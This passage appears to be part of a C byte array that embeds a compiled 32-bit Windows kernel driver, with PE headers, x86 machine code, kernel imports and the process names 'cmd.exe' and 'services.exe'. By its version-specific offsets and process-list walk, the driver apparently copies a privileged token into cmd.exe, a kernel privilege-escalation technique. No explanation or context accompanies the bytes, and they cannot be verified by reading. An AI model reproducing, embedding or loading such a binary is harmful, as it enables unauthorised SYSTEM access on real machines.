        0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x77, 0x7E, 0xCD, 0xF6, 0x33, 0x1F, 0xA3, 0xA5, 0x33, 0x1F, 0xA3, 0xA5, 0x33, 0x1F, 0xA3, 0xA5,
        0x33, 0x1F, 0xA2, 0xA5, 0x16, 0x1F, 0xA3, 0xA5, 0xF0, 0x10, 0xFE, 0xA5, 0x36, 0x1F, 0xA3, 0xA5,
        0x3A, 0x67, 0x20, 0xA5, 0x36, 0x1F, 0xA3, 0xA5, 0x3A, 0x67, 0x32, 0xA5, 0x32, 0x1F, 0xA3, 0xA5,
        0x52, 0x69, 0x63, 0x68, 0x33, 0x1F, 0xA3, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x05, 0x00, 0x63, 0xCB, 0xDF, 0x4C, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x09, 0x00, 0x80, 0x05, 0x00, 0x00,
        0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0x09, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00,
        0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
        0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x0D, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00, 0x9E, 0xA3, 0x00, 0x00, 0x01, 0x00, 0x00, 0x04,
        0x00, 0x00, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0xD0, 0x09, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x80, 0x0B, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x50, 0x08, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
        0x6B, 0x03, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68,
        0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00,
        0x28, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8,
        0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00,
        0x00, 0x02, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xE2, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00,
        0x2E, 0x01, 0x00, 0x00, 0x80, 0x0B, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x0B, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x51, 0x51, 0x56, 0x8B, 0x35,
        0x14, 0x08, 0x01, 0x00, 0x57, 0x8D, 0x45, 0xFC, 0x89, 0x45, 0xFC, 0x8D, 0x45, 0xF8, 0x50, 0x33,
        0xFF, 0x57, 0x8D, 0x45, 0xFC, 0x50, 0x6A, 0x0B, 0x89, 0x7D, 0xF8, 0xFF, 0xD6, 0x68, 0x54, 0x61,
        0x67, 0x31, 0xFF, 0x75, 0xF8, 0x57, 0xFF, 0x15, 0x38, 0x08, 0x01, 0x00, 0x57, 0xFF, 0x75, 0xF8,
        0x89, 0x45, 0xFC, 0x50, 0x6A, 0x0B, 0xFF, 0xD6, 0x8B, 0x4D, 0x08, 0x8B, 0x45, 0xFC, 0x8B, 0x70,
        0x0C, 0x3B, 0xCF, 0x74, 0x05, 0x8B, 0x50, 0x10, 0x89, 0x11, 0x57, 0x50, 0xFF, 0x15, 0x3C, 0x08,
        0x01, 0x00, 0x5F, 0x8B, 0xC6, 0x5E, 0xC9, 0xC2, 0x04, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
        0x68, 0x20, 0x09, 0x01, 0x00, 0xE8, 0x8C, 0xFF, 0xFF, 0xFF, 0xA3, 0x24, 0x09, 0x01, 0x00, 0xE8,
        0x32, 0x02, 0x00, 0x00, 0x33, 0xC0, 0xC2, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF,
        0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x34, 0x01, 0x00, 0x00, 0xA1, 0x00, 0x09, 0x01, 0x00, 0x33, 0xC5,
        0x89, 0x45, 0xFC, 0x83, 0x8D, 0xD0, 0xFE, 0xFF, 0xFF, 0xFF, 0x56, 0x33, 0xF6, 0x56, 0x56, 0x8D,
        0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0x8D, 0x85, 0xEC, 0xFE, 0xFF, 0xFF, 0x50, 0xC7, 0x85, 0xCC,
        0xFE, 0xFF, 0xFF, 0x80, 0x0F, 0x05, 0xFD, 0xC7, 0x85, 0xE8, 0xFE, 0xFF, 0xFF, 0x14, 0x01, 0x00,
        0x00, 0xFF, 0x15, 0x28, 0x08, 0x01, 0x00, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x05, 0x75, 0x08,
        0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x74, 0x22, 0x8D, 0x85, 0xE8, 0xFE, 0xFF, 0xFF, 0x50, 0xFF,
        0x15, 0x24, 0x08, 0x01, 0x00, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x05, 0x0F, 0x85, 0x84, 0x00,
        0x00, 0x00, 0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x75, 0x1E, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF,
        0xA0, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0x5C, 0x01, 0x00, 0x00, 0xB8, 0x8C,
        0x00, 0x00, 0x00, 0xE9, 0xAD, 0x00, 0x00, 0x00, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF, 0x01, 0x75,
        0x19, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF,
        0xFF, 0xEC, 0x00, 0x00, 0x00, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF,
        0x02, 0x0F, 0x85, 0x3F, 0x01, 0x00, 0x00, 0x81, 0xBD, 0xF4, 0xFE, 0xFF, 0xFF, 0xCE, 0x0E, 0x00,
        0x00, 0x6A, 0x40, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4,
        0xFE, 0xFF, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x58, 0x75, 0x5B, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF,
        0x98, 0x00, 0x00, 0x00, 0xEB, 0x4F, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x06, 0x0F, 0x85, 0x03,
        0x01, 0x00, 0x00, 0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x75, 0x16, 0xC7, 0x85, 0xDC, 0xFE, 0xFF,
        0xFF, 0xA0, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0xEB,
        0x21, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF, 0x01, 0x0F, 0x85, 0xD8, 0x00, 0x00, 0x00, 0xC7, 0x85,
        0xDC, 0xFE, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0xB4, 0x00,
        0x00, 0x00, 0x6A, 0x40, 0x58, 0xC1, 0xE8, 0x02, 0xC1, 0xE0, 0x02, 0x89, 0x85, 0xD8, 0xFE, 0xFF,
        0xFF, 0xFF, 0x15, 0x20, 0x08, 0x01, 0x00, 0x8B, 0x8D, 0xDC, 0xFE, 0xFF, 0xFF, 0x8B, 0x1D, 0x18,
        0x08, 0x01, 0x00, 0x8D, 0x3C, 0x08, 0x8B, 0x07, 0x8B, 0x30, 0xEB, 0x02, 0x8B, 0x36, 0x8B, 0x85,
        0xE4, 0xFE, 0xFF, 0xFF, 0x03, 0xC6, 0x68, 0xDE, 0x07, 0x01, 0x00, 0x50, 0xFF, 0xD3, 0x59, 0x59,
        0x85, 0xC0, 0x75, 0xE8, 0x8B, 0x85, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x1C, 0x30, 0x8B, 0x37, 0xB1,
        0x02, 0xFF, 0x15, 0x04, 0x08, 0x01, 0x00, 0x88, 0x85, 0xE3, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0xD4,
        0xFE, 0xFF, 0xFF, 0x3B, 0x36, 0x74, 0x3D, 0x8B, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0x03, 0xC6, 0x68,
        0xD6, 0x07, 0x01, 0x00, 0x50, 0xFF, 0x15, 0x18, 0x08, 0x01, 0x00, 0x59, 0x59, 0x85, 0xC0, 0x75,
        0x17, 0x8B, 0x85, 0xD8, 0xFE, 0xFF, 0xFF, 0x8D, 0x3C, 0x30, 0x39, 0x1F, 0x74, 0x0A, 0x8B, 0xCB,
        0xFF, 0x15, 0x1C, 0x08, 0x01, 0x00, 0x89, 0x1F, 0x8B, 0x36, 0x8B, 0x85, 0xD4, 0xFE, 0xFF, 0xFF,
        0x3B, 0x06, 0x75, 0xC3, 0x8A, 0x8D, 0xE3, 0xFE, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x08, 0x01, 0x00,
        0x8D, 0x85, 0xCC, 0xFE, 0xFF, 0xFF, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x15, 0x10, 0x08, 0x01,
        0x00, 0xE9, 0x4B, 0xFF, 0xFF, 0xFF, 0x68, 0xC2, 0x07, 0x01, 0x00, 0xE8, 0x9C, 0x00, 0x00, 0x00,
        0x59, 0x8B, 0x4D, 0xFC, 0x33, 0xCD, 0x5E, 0xE8, 0x50, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00,
        0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x1C, 0x33, 0xC0,
        0x50, 0x68, 0x0E, 0x05, 0x01, 0x00, 0x50, 0x50, 0x89, 0x45, 0xE8, 0x89, 0x45, 0xEC, 0x89, 0x45,
        0xF4, 0x89, 0x45, 0xF8, 0x8D, 0x45, 0xE4, 0x50, 0x68, 0xFF, 0x03, 0x1F, 0x00, 0x8D, 0x45, 0xFC,
        0x50, 0xC7, 0x45, 0xE4, 0x18, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF0, 0x00, 0x02, 0x00, 0x00, 0xFF,
        0x15, 0x2C, 0x08, 0x01, 0x00, 0xC9, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x3B, 0x0D, 0x00, 0x09,
        0x01, 0x00, 0x75, 0x03, 0xC2, 0x00, 0x00, 0xE9, 0x05, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC,
        0xCC, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x51, 0x89, 0x4D, 0xFC, 0x6A, 0x00, 0xFF, 0x35, 0x04, 0x09,
        0x01, 0x00, 0xFF, 0x35, 0x00, 0x09, 0x01, 0x00, 0xFF, 0x75, 0xFC, 0x68, 0xF7, 0x00, 0x00, 0x00,
        0xFF, 0x15, 0x34, 0x08, 0x01, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x0C, 0x08,
        0x01, 0x00, 0x4F, 0x53, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74,
        0x65, 0x64, 0x2E, 0x0A, 0x00, 0xCC, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x73, 0x65,
        0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x5A, 0x0B, 0x00, 0x00, 0x68, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x0A, 0x00, 0x00,
        0xA4, 0x0A, 0x00, 0x00, 0x7C, 0x0A, 0x00, 0x00, 0xBE, 0x0A, 0x00, 0x00, 0xCA, 0x0A, 0x00, 0x00,
        0xE0, 0x0A, 0x00, 0x00, 0xF6, 0x0A, 0x00, 0x00, 0x06, 0x0B, 0x00, 0x00, 0x16, 0x0B, 0x00, 0x00,
        0x2E, 0x0B, 0x00, 0x00, 0x3C, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x50, 0x0A, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x63, 0xCB, 0xDF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
        0x3E, 0x00, 0x00, 0x00, 0x6C, 0x08, 0x00, 0x00, 0x6C, 0x08, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53,
        0x90, 0x6D, 0xBD, 0xF4, 0x90, 0x90, 0xED, 0x4B, 0x93, 0x50, 0x15, 0x16, 0xDA, 0x26, 0x2E, 0xF6,
        0x03, 0x00, 0x00, 0x00, 0x66, 0x3A, 0x5C, 0x74, 0x65, 0x73, 0x74, 0x5C, 0x6F, 0x62, 0x6A, 0x66,
        0x72, 0x65, 0x5F, 0x77, 0x78, 0x70, 0x5F, 0x78, 0x38, 0x36, 0x5C, 0x69, 0x33, 0x38, 0x36, 0x5C,
        0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2E, 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x4E, 0xE6, 0x40, 0xBB, 0xB1, 0x19, 0xBF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x09, 0x01, 0x00, 0xB9, 0x4E, 0xE6, 0x40, 0xBB, 0x85,
        0xC0, 0x74, 0x04, 0x3B, 0xC1, 0x75, 0x1A, 0xA1, 0x30, 0x08, 0x01, 0x00, 0x8B, 0x00, 0x35, 0x00,
        0x09, 0x01, 0x00, 0xA3, 0x00, 0x09, 0x01, 0x00, 0x75, 0x07, 0x8B, 0xC1, 0xA3, 0x00, 0x09, 0x01,
        0x00, 0xF7, 0xD0, 0xA3, 0x04, 0x09, 0x01, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF,
        0x55, 0x8B, 0xEC, 0xE8, 0xBD, 0xFF, 0xFF, 0xFF, 0x5D, 0xE9, 0x22, 0xFB, 0xFF, 0xFF, 0xCC, 0xCC,
        0x18, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x0B, 0x00, 0x00,
        0x0C, 0x08, 0x00, 0x00, 0x0C, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x76, 0x0B, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0x0B, 0x00, 0x00,
        0x68, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x0A, 0x00, 0x00, 0xA4, 0x0A, 0x00, 0x00,
        0x7C, 0x0A, 0x00, 0x00, 0xBE, 0x0A, 0x00, 0x00, 0xCA, 0x0A, 0x00, 0x00, 0xE0, 0x0A, 0x00, 0x00,
        0xF6, 0x0A, 0x00, 0x00, 0x06, 0x0B, 0x00, 0x00, 0x16, 0x0B, 0x00, 0x00, 0x2E, 0x0B, 0x00, 0x00,
        0x3C, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x50, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x4E, 0x00, 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68,
        0x54, 0x61, 0x67, 0x00, 0x41, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65,
        0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0x50, 0x05, 0x5A, 0x77,
        0x51, 0x75, 0x65, 0x72, 0x79, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x49, 0x6E, 0x66, 0x6F, 0x72,
        0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x30, 0x00, 0x44, 0x62, 0x67, 0x50, 0x72, 0x69,
        0x6E, 0x74, 0x00, 0x00, 0xFC, 0x01, 0x4B, 0x65, 0x44, 0x65, 0x6C, 0x61, 0x79, 0x45, 0x78, 0x65,
        0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x8D, 0x05,
        0x5F, 0x73, 0x74, 0x72, 0x69, 0x63, 0x6D, 0x70, 0x00, 0x00, 0x31, 0x03, 0x4F, 0x62, 0x66, 0x52,
        0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x00,
        0x69, 0x01, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x50, 0x72,
        0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x16, 0x04, 0x52, 0x74, 0x6C, 0x47, 0x65, 0x74, 0x56, 0x65,
        0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x75, 0x03, 0x50, 0x73, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72,
        0x73, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x4C, 0x03, 0x50, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
        0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x66, 0x02,
        0x4B, 0x65, 0x54, 0x69, 0x63, 0x6B, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0xF6, 0x01, 0x4B, 0x65,
        0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73,
        0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x4D, 0x00, 0x4B, 0x66, 0x4C, 0x6F,
        0x77, 0x65, 0x72, 0x49, 0x72, 0x71, 0x6C, 0x00, 0x4E, 0x00, 0x4B, 0x66, 0x52, 0x61, 0x69, 0x73,
